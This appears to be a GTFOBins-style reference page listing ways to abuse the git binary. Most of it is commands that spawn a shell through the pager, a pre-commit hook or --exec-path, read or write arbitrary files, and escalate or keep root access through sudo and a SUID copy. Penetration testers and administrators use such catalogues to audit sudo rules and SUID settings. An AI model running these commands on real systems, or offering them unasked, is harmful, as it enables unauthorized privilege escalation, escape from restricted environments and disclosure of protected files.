.. / git

Shell | File write | File read | Sudo | Limited SUID

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

(a)

```
PAGER='sh -c "exec sh 0<&1"' git -p help
```

(b)

This invokes the default pager, which is likely to be `less`, other functions may apply.

```
git help config
!/bin/sh
```

(c)

The help system can also be reached from any `git` command, e.g., `git branch`. This invokes the default pager, which is likely to be `less`, other functions may apply.

```
git branch --help config
!/bin/sh
```

(d)

Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option.

```
TF=$(mktemp -d)
git init "$TF"
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
git -C "$TF" commit --allow-empty -m x
```

(e)

```
TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
git "--exec-path=$TF" x
```

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

The patch can be created locally by creating the file that will be written on the target using its absolute path, then `git diff /dev/null /path/to/file >x.patch`.

```
git apply --unsafe-paths --directory / x.patch
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

The read file content is displayed in `diff` style output format.

```
LFILE=file_to_read
git diff /dev/null $LFILE
```

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

(a)

```
sudo PAGER='sh -c "exec sh 0<&1"' git -p help
```

(b)

This invokes the default pager, which is likely to be `less`, other functions may apply.

```
sudo git -p help config
!/bin/sh
```

(c)

The help system can also be reached from any `git` command, e.g., `git branch`. This invokes the default pager, which is likely to be `less`, other functions may apply.

```
sudo git branch --help config
!/bin/sh
```

(d)

Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option.

```
TF=$(mktemp -d)
git init "$TF"
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
sudo git -C "$TF" commit --allow-empty -m x
```

(e)

```
TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
sudo git "--exec-path=$TF" x
```

Limited SUID

If the binary has the SUID bit set, it may be abused to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands (e.g., via `system()`-like invocations) it only works on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which git) .

PAGER='sh -c "exec sh 0<&1"' ./git -p help
```